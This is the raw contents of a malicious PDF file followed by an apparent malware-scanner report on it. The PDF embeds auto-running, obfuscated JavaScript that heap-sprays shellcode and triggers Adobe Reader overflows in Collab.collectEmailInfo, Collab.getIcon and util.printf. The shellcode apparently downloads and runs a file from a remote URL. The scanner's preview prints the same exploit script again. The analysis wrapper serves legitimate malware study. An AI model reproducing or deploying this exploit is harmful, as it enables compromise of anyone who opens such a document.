�$�� � b� )�� ���� �fFN�/���)x�uW�n�iq8 :C3�e�2,*I2� ȧ��|k� ��bz�7�8�w{�>S'Z ��Bc��� ����"�@IL[��� � r�ځX�r CT�V���ا��A s��< �!݉J_.2�C Q�?Җ=��N��逑6�3#� �>m^:� �/���]�.a�;u���6�䮧OS� I���� q�w>��
.��@ ��Ǝ{o�� ůA�� �r�l� �G{b �l�
���� <ȱ � ϐ��O��X�U�f˱-� w#1kե�9��ni
Zy��x����z
� ��#�_q�sp�^���H��� 5��5v4�����p �h�Ƒ�
��Tk w K��l�xbo�@ MZ�9�UT"�h��q�؍p��f�50 h����/�|cq`����d",b�F �o���A�p_ y��~ �¬b�K��A >��vjb�@��Y� ���p/�l
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 2139>>
stream
x��[]s�6 }��� �3� � �>^=m:��n������ $! H�)���=� C�%���$3Rb� ���� a���~�gM ���
|~�gus{G��Ǵ ��������Q %A��#!��`��I �1�fQ ƔW�~T���鄢�= ^ ���o�"�'�xB�h D � �� Jf��L��v,o ���~E �[} �[ M ��� � ��% ��T��O�ɣv�`�R �V�Y��Vl ���� ����'1��> ̇C���8�� =����4 ���ϒ>���/ }�3_�� � 1{ �JS��]Mk՚����`E1ЦV �{��5ULњ��2Q�8��M��ـᆭJ�"��=�����L +\ɉ7*/ �o���2$AA��� m q)H��S�%/ �N�`2?`mdW5�YEy)h)�Ax D�5 ~� �1�"=)k+@� � � [� t+��� � �T���z�
� � �R<�6j���b�Vx�b�co���$�J&� � �db3p 8�� #��t O��� M�o��m���u � V � i��Q��@�����;�'��jZuR �;�e {��� ٙ�2�6�a)x]�zE���H�o�-uG� �n �s���8X<�r_�*�_��6BJC�* �Z�;�;��[ݵ%m�f-� �� � z�,� �� ��%��2C����V� nKEfȄ�x�O�Q�X��)EA���� � ��1 ��u ʫ��3���� ��z�4�4R@�%�M�zC�f�� �Y���[6آ �K$��dK��� �� Y >��G����ȴHT�I �ϩ P *�d��8��ӈ $� -���h)�L�ζ�t�%�j&��� �V+j;�$��*le�ސFK\ �BW��r�F��b�}B�� � {� 2rP�S�<S�-���b+�I-���3�L�*��װf�ǒz/Ч[�$`R� 4 �,��v�R��5R.� ����� � ��2K!" '-^ M��S+
� 1c; �c � μ�a^ N�t=W��� o�jh ���ԯm��k}N'N]F�ᗺGNJ�5�� � e� K %ޱt� |�T��� y�! �K�eժ �q�:�,xm��Y�(�:9�Ā���Ν2��泖U�^-1XHpː����B� :�>�>X��4ދ��>ᦋc�� � �j� 2��I� ��5�����Y��id�f���$���`.�Q �i���\%�����;���Z�Z��Q>�"D)�z� �j�x�Q(KL1j$ �� �陆1A����� P�H�{�r:qD��T�9K�{>� ��ר4X�"�J=`�
����j�yR_}�� �?��#
d&2�/����.��Vi qP��꜖-m�Q y�T'}b ��T�����?��z��GL� N��扯� w�p���=R� -�L�SW��'4ߌ0� QS p]R46c
$�R[��2� �� m �Ts�
K {�"ڗ��9O Ҿ G���� y��Ɗg��'0��Uv)Kb���� � -َ&�u �����H�2�GV�9� J����7�� �\����
C�PYЈb��� i�칤z��It���N�v����W/�6�� � �c� �w� ��'��H74Wh<SUƆqR��.��'3�I<��.fj#̣Oȡӎ竫H��+�' G�c��K� )_Zc=��O�s�� -�گ3��o]<� � ���N�W�� ����&i4��"X\)T�y �d� ��>�4o��k��� =�;�
o[� &- p$x�'����Jv�^{7r y�^� V�ᆎQǻ��{��1*U����e���5^8N=3�(ay�/i� �x~D���=<w�_i��'��� =P� ۱_k!�'ک �8�������YA��o��}�1bz��:ʒ�Y�� 9qBp�p疌�� im�xR.AYR䛗�>OQ�O�����Gt� ���J{5�q4}Ւ�טB� �u�� D�x�@���o� ���G�~ ��lq ���_.�^ {\�Y EENl���h��nr�1�� ����A i�8=���]M�Q��'� -�� Y��[ K[[�_� ��'N N�כw#��g2�� ��}�
�ܺ s��*a0�M�0*k� H�$`� �Y{tz�R��Un߰��� � 5r���,�Љ� �vb�u u � � >� � �©ę3��u<�zjP �%��sX�N[^u|���z� �~���
D �������x $�; �ў���A�rjk%� �ܖ�&��#Xן��� u���
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 341>>
stream
x����n�@ E{ �-�f� �G P("A�D�b�7 �e�52�}�1 �( � [k��sf̙ P�cH��dJ��b@1� bt� � �;z����
B(�"*��>�#t%� A ��e�< <� ��
� ��M k4���Y�A� ?`��P�L(� &w�q�֔��5��~�xH �3Ͽ �
!�� �h��E ����y��Չ.g�F�
��kT �wy�x��>���}�̸�I��B� � �V���y� x�/:�$�w��K@ ���Ϸ֡�w�� �\%p�7���)�E �e;�Y^X�� �q ;C��v���
��� ��!S�8����� 4r�K����-���-4:�' ~� ��
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
]
/Count 5
>>
endobj
13 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
14 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
17 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
18 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2136>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?Ţ�+�9B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �) �@�oah� 4� VvaE P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��- � zR�E ���QE QE QE QE QE QE QE QE QE S�g���c�J� z�Q'b� �a ))�)��i 8� KAE U � G�2h��� �qH ���s%.o4P�(=h��B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �~��A��4 })Ł���% �5MXF zu�ғ� ���ijD��(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��)i dP40�a���9�� zT�� �Ţ�) QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE1�'"�E �E P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E RN��QE �(��(��(��(��(��(��)q�J^��B`i)s�% � QE C
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��Z�H(��c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��?��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 15 0 R
/F2 16 0 R
/F3 17 0 R
>>
/XObject <<
/I1 18 0 R
>>
/Properties <</OC1 13 0 R /OC2 14 0 R>>
/ExtGState <<
>>
>>
endobj
19 0 obj
<<
/Names [(EmbeddedJS) 20 0 R ]
>>
endobj
20 0 obj
<<
/S /JavaScript
/JS (��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array\(\);k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array\("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr"\);var sxz3TlE7H = 'var aT2SIgMrm = new Array\(\);var jUCXkje3R;function lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\){while\(mjQ0s1Jm.length * 2 < vy5AnujZ\){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring\(0, vy5AnujZ / 2\);return mjQ0s1Jm;}function kTh8tyaiMl\(dwSy84Ewqd\){if\(dwSy84Ewqd == 0\){var zwWH2gY7 = 0x0c0c0c0c;}else if\(dwSy84Ewqd == 1\){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array\(\\"%u535\\",\\"0%u5251\\",\\"%u5756%u9c\\",\\"55%u00e\\",\\"8%u0000%\\",\\"u5d00%ued8\\",\\"3%u310\\",\\"d%u64c0%u4\\",\\"003%u78\\",\\"30%u8b0c%\\",\\"u0c40%u\\",\\"708b%uad1\\",\\"c%u408\\",\\"b%ueb0\\",\\"8%u8b09%u\\",\\"3440%\\",\\"u408d%u8\\",\\"b7c%u3c\\",\\"40%u575\\",\\"6%u5ebe\\",\\"%u0001%u01\\",\\"00%ubfe\\",\\"e%u014e%u0\\",\\"000%uef01%\\",\\"ud6e8%u\\",\\"0001%\\",\\"u5f00%u895\\",\\"e%u81\\",\\"ea%u5\\",\\"ec2%u0001%\\",\\"u5200%\\",\\"u8068%\\",\\"u0000%uff\\",\\"00%u4e95%\\",\\"u0001%u8\\",\\"900%u81e\\",\\"a%u5ec2\\",\\"%u0001%u3\\",\\"100%u01\\",\\"f6%u8ac2\\",\\"%u359c\\",\\"%u0263%u00\\",\\"00%ufb80%u\\",\\"7400%u88\\",\\"06%u321c%u\\",\\"eb46%uc6\\",\\"ee%u320\\",\\"4%u8900%u8\\",\\"1ea%u45c2\\",\\"%u0002%\\",\\"u5200\\",\\"%u95ff%u01\\",\\"52%u00\\",\\"00%uea89%u\\",\\"c281%\\",\\"u0250%u00\\",\\"00%u5052%\\",\\"u95ff\\",\\"%u0156%\\",\\"u0000%\\",\\"u006a\\",\\"%u006a%uea\\",\\"89%uc281%\\",\\"u015e\\",\\"%u0000\\",\\"%u8952%\\",\\"u81ea%u78c\\",\\"2%u000\\",\\"2%u520\\",\\"0%u00\\",\\"6a%ud0ff\\",\\"%u056a%u\\",\\"ea89%\\",\\"uc281%u\\",\\"015e%u0\\",\\"000%uff52%\\",\\"u5a95%u\\",\\"0001%\\",\\"u8900\\",\\"%u81e\\",\\"a%u5ec2%u\\",\\"0001%u520\\",\\"0%u8068\\",\\"%u0000%uf\\",\\"f00%u4e\\",\\"95%u0001%u\\",\\"8900%\\",\\"u81ea\\",\\"%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u3\\",\\"59c%u0\\",\\"26e%u0\\",\\"000%ufb\\",\\"80%u7400%\\",\\"u8806%u3\\",\\"21c%ue\\",\\"b46%uc\\",\\"6ee%u3204%\\",\\"u8900%u8\\",\\"1ea%u45\\",\\"c2%u0\\",\\"002%u5200\\",\\"%u95ff%\\",\\"u0152%u00\\",\\"00%uea8\\",\\"9%uc281%u0\\",\\"250%u\\",\\"0000%u5\\",\\"052%u95f\\",\\"f%u0156%\\",\\"u0000%u0\\",\\"06a%u006a\\",\\"%uea89%uc2\\",\\"81%u015e\\",\\"%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002\\",\\"%u5200%u00\\",\\"6a%ud\\",\\"0ff%u05\\",\\"6a%uea89%u\\",\\"c281%u015\\",\\"e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u5\\",\\"b59%uc3\\",\\"58%u0000\\",\\"%u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0000%\\",\\"u0000%u000\\",\\"0%u6547\\",\\"%u547\\",\\"4%u6d65\\",\\"%u5070%u7\\",\\"461%u41\\",\\"68%u4c\\",\\"00%u616f%\\",\\"u4c64%u626\\",\\"9%u6172%\\",\\"u7972%u0\\",\\"041%u6547%\\",\\"u5074%u6\\",\\"f72%u4163\\",\\"%u646\\",\\"4%u6572%u7\\",\\"373%u\\",\\"5700%u6e\\",\\"69%u7845\\",\\"%u6365%ubb\\",\\"00%uf289%\\",\\"uf789%\\",\\"uc030%\\",\\"u75ae%u29\\",\\"fd%u89f7\\",\\"%u31f9%\\",\\"ubec0%u003\\",\\"c%u00\\",\\"00%ub503%u\\",\\"021b%\\",\\"u0000%ua\\",\\"d66%u85\\",\\"03%u021b%u\\",\\"0000%u708\\",\\"b%u837\\",\\"8%u1c\\",\\"c6%ub503%u\\",\\"021b%u000\\",\\"0%ubd8d%u0\\",\\"21f%u0\\",\\"000%u03ad%\\",\\"u1b85%u\\",\\"0002%ua\\",\\"b00%u03ad%\\",\\"u1b85%\\",\\"u0002\\",\\"%u5000%uad\\",\\"ab%u85\\",\\"03%u0\\",\\"21b%u\\",\\"0000%\\",\\"u5eab%\\",\\"udb31%u56a\\",\\"d%u8503%u\\",\\"021b%u\\",\\"0000%\\",\\"uc689%ud\\",\\"789%ufc5\\",\\"1%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb\\",\\"43%u5ee9\\",\\"%ud193%u03\\",\\"e0%u278\\",\\"5%u0002%u3\\",\\"100%u96f\\",\\"6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u00\\",\\"02%u890\\",\\"0%uad\\",\\"c6%u8503%\\",\\"u021b%u00\\",\\"00%ue\\",\\"bc3%u00\\",\\"10%u0000%\\",\\"u0000%u00\\",\\"00%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u\\",\\"8900%u1b\\",\\"85%u0\\",\\"002%u5600%\\",\\"ue857%uf\\",\\"f58%uf\\",\\"fff%u5e5\\",\\"f%u01ab\\",\\"%u80c\\",\\"e%ubb3e\\",\\"%u0274%ued\\",\\"eb%u5\\",\\"5c3%u4c5\\",\\"2%u4f\\",\\"4d%u2e4e%\\",\\"u4c44%u0\\",\\"04c%u525\\",\\"5%u44\\",\\"4c%u776f%\\",\\"u6c6e%u616\\",\\"f%u5464\\",\\"%u466f%u6\\",\\"c69%u41\\",\\"65%u7500\\",\\"%u6470%\\",\\"u7461%u2e\\",\\"65%u78\\",\\"65%u00\\",\\"65%u7263%u\\",\\"7361%u\\",\\"2e68%\\",\\"u6870%u00\\",\\"70%u74\\",\\"68%u7074%u\\",\\"2f3a%u\\",\\"732f%u617\\",\\"4%u6c6c%u\\",\\"6176%\\",\\"u7372%u3\\",\\"72d%u\\",\\"632e%u2f6e\\",\\"%u7473%\\",\\"u2f37%u\\",\\"7075%u\\",\\"6164%u6574\\",\\"%u702\\",\\"e%u7068%\\",\\"u693f%u\\",\\"3d64%\\",\\"u2633%u657\\",\\"2%u3d74%\\",\\"u6b6f%u9\\",\\"000\\"\);lgzzbDvrJ = unescape\(lgzzbDvrJ.join\(\\"\\"\)\);var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - \(dN4ieP2iNJ + 0x38\);var mjQ0s1Jm = unescape\(\\"%u9090%u9090\\"\);mjQ0s1Jm = lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\);var hggtyPDR = \(zwWH2gY7 - 0x400000\) / thxKGPqJ;for\(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++\){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl\(\){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString\(\);app.clearTimeOut\(jUCXkje3R\);if\(\(dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102\) || dWz30Wc8Sx < 7.1\){kTh8tyaiMl\(0\);var dUecnnyRL = unescape\(\\"%u0c0c%u0c0c\\"\);while\(dUecnnyRL.length < 44952\) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\\"collabStore\\"] = oNmYv6F8[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : dUecnnyRL}\);}if\(\(dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104\) || \(dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1\) || dWz30Wc8Sx <= 7.101\){try{if\(app.doc.Collab.getIcon\){kTh8tyaiMl\(2\);var g99lsB5aD5 = unescape\(\\"%09\\"\);while\(g99lsB5aD5.length < 0x4000\){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \\"N.\\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(g99lsB5aD5\);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch\(e\){gwCFv8QkMv = 1;}if\(gwCFv8QkMv == 1\){if\(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1\){kTh8tyaiMl\(1\);var krnGx4eoY = \\"12999999999999999999\\";for\(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++\){krnGx4eoY += \\"8\\";}var xwM9uDR1Z = util;xwM9uDR1Z[\\"printf\\"]\(\\"%45000f\\", krnGx4eoY\);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut\(\\"app.pWqkQU3H\(\)\\", 10\);';var xLnzz5Ne6=new Array\("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX"\);this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace\(/[]/g, ''\);var aHj0mNxG=new Array\('iPu63Iz8l','jR3yxekiKc'\);function mWTf2NTmz\(q6bodhAB,sS1npu7qg,moOIAGhC\){return false;}var y0BzaR3Ce=new Array\("phldahIIt","rqVkMn73vX","wfNlaURwA"\);var nSd4Sni7x = 'e'+'v'+'a'+'l';app[nSd4Sni7x]\(r6KInqXsz\);this.gBSQBVtK=false;var x8tgaP7Tc=new Array\(14633,1198\);vUYPS6xyP=0.3;)
>>
endobj
21 0 obj
<<
/Title (��andTextMake)
/Author (��sNotOver)
/Subject (��freeOldBc)
/Keywords (��layoutSourceGood, usedMakeHere, typeSourceHave)
/Creator (��wordsHiddenWord)
/Producer (��0147fa9611db0b7cd706139ae2170494)
/CreationDate (D:20091013200218+04'00')
/ModDate (D:20091013200218+04'00')
>>
endobj
22 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 19 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [13 0 R 14 0 R] /D <</ON [13 0 R] /OFF [14 0 R] /AS [<</Event /Print /OCGs [13 0 R 14 0 R] /Category [/Print]>> <</Event /View /OCGs [13 0 R 14 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 23
0000000000 65535 f
0000010245 00000 n
0000013185 00000 n
0000000009 00000 n
0000000117 00000 n
0000002428 00000 n
0000002536 00000 n
0000004829 00000 n
0000004937 00000 n
0000007403 00000 n
0000007512 00000 n
0000009723 00000 n
0000009833 00000 n
0000010328 00000 n
0000010444 00000 n
0000010558 00000 n
0000010665 00000 n
0000010774 00000 n
0000010882 00000 n
0000013380 00000 n
0000013432 00000 n
0000026064 00000 n
0000026486 00000 n
trailer
<<
/Size 23
/Root 22 0 R
/Info 21 0 R
>>
startxref
26888
%%EOF
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery null-collapse from JavaScript object 20 at offset 0x3478 | 5958 bytes |
SHA-256: 8e8e893381e56c0187dc9b56938407c77f9b2b9610b49fa347883bcb3fa5308c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array();k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr");var sxz3TlE7H = 'var aT2SIgMrm = new Array();var jUCXkje3R;function lHskEaMkm(mjQ0s1Jm, vy5AnujZ){while(mjQ0s1Jm.length * 2 < vy5AnujZ){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring(0, vy5AnujZ / 2);return mjQ0s1Jm;}function kTh8tyaiMl(dwSy84Ewqd){if(dwSy84Ewqd == 0){var zwWH2gY7 = 0x0c0c0c0c;}else if(dwSy84Ewqd == 1){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array(\"%u535\",\"0%u5251\",\"%u5756%u9c\",\"55%u00e\",\"8%u0000%\",\"u5d00%ued8\",\"3%u310\",\"d%u64c0%u4\",\"003%u78\",\"30%u8b0c%\",\"u0c40%u\",\"708b%uad1\",\"c%u408\",\"b%ueb0\",\"8%u8b09%u\",\"3440%\",\"u408d%u8\",\"b7c%u3c\",\"40%u575\",\"6%u5ebe\",\"%u0001%u01\",\"00%ubfe\",\"e%u014e%u0\",\"000%uef01%\",\"ud6e8%u\",\"0001%\",\"u5f00%u895\",\"e%u81\",\"ea%u5\",\"ec2%u0001%\",\"u5200%\",\"u8068%\",\"u0000%uff\",\"00%u4e95%\",\"u0001%u8\",\"900%u81e\",\"a%u5ec2\",\"%u0001%u3\",\"100%u01\",\"f6%u8ac2\",\"%u359c\",\"%u0263%u00\",\"00%ufb80%u\",\"7400%u88\",\"06%u321c%u\",\"eb46%uc6\",\"ee%u320\",\"4%u8900%u8\",\"1ea%u45c2\",\"%u0002%\",\"u5200\",\"%u95ff%u01\",\"52%u00\",\"00%uea89%u\",\"c281%\",\"u0250%u00\",\"00%u5052%\",\"u95ff\",\"%u0156%\",\"u0000%\",\"u006a\",\"%u006a%uea\",\"89%uc281%\",\"u015e\",\"%u0000\",\"%u8952%\",\"u81ea%u78c\",\"2%u000\",\"2%u520\",\"0%u00\",\"6a%ud0ff\",\"%u056a%u\",\"ea89%\",\"uc281%u\",\"015e%u0\",\"000%uff52%\",\"u5a95%u\",\"0001%\",\"u8900\",\"%u81e\",\"a%u5ec2%u\",\"0001%u520\",\"0%u8068\",\"%u0000%uf\",\"f00%u4e\",\"95%u0001%u\",\"8900%\",\"u81ea\",\"%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u3\",\"59c%u0\",\"26e%u0\",\"000%ufb\",\"80%u7400%\",\"u8806%u3\",\"21c%ue\",\"b46%uc\",\"6ee%u3204%\",\"u8900%u8\",\"1ea%u45\",\"c2%u0\",\"002%u5200\",\"%u95ff%\",\"u0152%u00\",\"00%uea8\",\"9%uc281%u0\",\"250%u\",\"0000%u5\",\"052%u95f\",\"f%u0156%\",\"u0000%u0\",\"06a%u006a\",\"%uea89%uc2\",\"81%u015e\",\"%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002\",\"%u5200%u00\",\"6a%ud\",\"0ff%u05\",\"6a%uea89%u\",\"c281%u015\",\"e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u5\",\"b59%uc3\",\"58%u0000\",\"%u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0000%\",\"u0000%u000\",\"0%u6547\",\"%u547\",\"4%u6d65\",\"%u5070%u7\",\"461%u41\",\"68%u4c\",\"00%u616f%\",\"u4c64%u626\",\"9%u6172%\",\"u7972%u0\",\"041%u6547%\",\"u5074%u6\",\"f72%u4163\",\"%u646\",\"4%u6572%u7\",\"373%u\",\"5700%u6e\",\"69%u7845\",\"%u6365%ubb\",\"00%uf289%\",\"uf789%\",\"uc030%\",\"u75ae%u29\",\"fd%u89f7\",\"%u31f9%\",\"ubec0%u003\",\"c%u00\",\"00%ub503%u\",\"021b%\",\"u0000%ua\",\"d66%u85\",\"03%u021b%u\",\"0000%u708\",\"b%u837\",\"8%u1c\",\"c6%ub503%u\",\"021b%u000\",\"0%ubd8d%u0\",\"21f%u0\",\"000%u03ad%\",\"u1b85%u\",\"0002%ua\",\"b00%u03ad%\",\"u1b85%\",\"u0002\",\"%u5000%uad\",\"ab%u85\",\"03%u0\",\"21b%u\",\"0000%\",\"u5eab%\",\"udb31%u56a\",\"d%u8503%u\",\"021b%u\",\"0000%\",\"uc689%ud\",\"789%ufc5\",\"1%ua6f\",\"3%u7459%u\",\"5e04%ueb\",\"43%u5ee9\",\"%ud193%u03\",\"e0%u278\",\"5%u0002%u3\",\"100%u96f\",\"6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u00\",\"02%u890\",\"0%uad\",\"c6%u8503%\",\"u021b%u00\",\"00%ue\",\"bc3%u00\",\"10%u0000%\",\"u0000%u00\",\"00%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u\",\"8900%u1b\",\"85%u0\",\"002%u5600%\",\"ue857%uf\",\"f58%uf\",\"fff%u5e5\",\"f%u01ab\",\"%u80c\",\"e%ubb3e\",\"%u0274%ued\",\"eb%u5\",\"5c3%u4c5\",\"2%u4f\",\"4d%u2e4e%\",\"u4c44%u0\",\"04c%u525\",\"5%u44\",\"4c%u776f%\",\"u6c6e%u616\",\"f%u5464\",\"%u466f%u6\",\"c69%u41\",\"65%u7500\",\"%u6470%\",\"u7461%u2e\",\"65%u78\",\"65%u00\",\"65%u7263%u\",\"7361%u\",\"2e68%\",\"u6870%u00\",\"70%u74\",\"68%u7074%u\",\"2f3a%u\",\"732f%u617\",\"4%u6c6c%u\",\"6176%\",\"u7372%u3\",\"72d%u\",\"632e%u2f6e\",\"%u7473%\",\"u2f37%u\",\"7075%u\",\"6164%u6574\",\"%u702\",\"e%u7068%\",\"u693f%u\",\"3d64%\",\"u2633%u657\",\"2%u3d74%\",\"u6b6f%u9\",\"000\");lgzzbDvrJ = unescape(lgzzbDvrJ.join(\"\"));var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - (dN4ieP2iNJ + 0x38);var mjQ0s1Jm = unescape(\"%u9090%u9090\");mjQ0s1Jm = lHskEaMkm(mjQ0s1Jm, vy5AnujZ);var hggtyPDR = (zwWH2gY7 - 0x400000) / thxKGPqJ;for(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl(){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString();app.clearTimeOut(jUCXkje3R);if((dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102) || dWz30Wc8Sx < 7.1){kTh8tyaiMl(0);var dUecnnyRL = unescape(\"%u0c0c%u0c0c\");while(dUecnnyRL.length < 44952) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\"collabStore\"] = oNmYv6F8[\"collectEmailInfo\"]({subj : \"\", msg : dUecnnyRL});}if((dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104) || (dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1) || dWz30Wc8Sx <= 7.101){try{if(app.doc.Collab.getIcon){kTh8tyaiMl(2);var g99lsB5aD5 = unescape(\"%09\");while(g99lsB5aD5.length < 0x4000){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \"N.\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\"doc\"][\"Collab\"][\"getIcon\"](g99lsB5aD5);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch(e){gwCFv8QkMv = 1;}if(gwCFv8QkMv == 1){if(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1){kTh8tyaiMl(1);var krnGx4eoY = \"12999999999999999999\";for(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++){krnGx4eoY += \"8\";}var xwM9uDR1Z = util;xwM9uDR1Z[\"printf\"](\"%45000f\", krnGx4eoY);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut(\"app.pWqkQU3H()\", 10);';var xLnzz5Ne6=new Array("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX");this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace(/[]/g, '');var aHj0mNxG=new 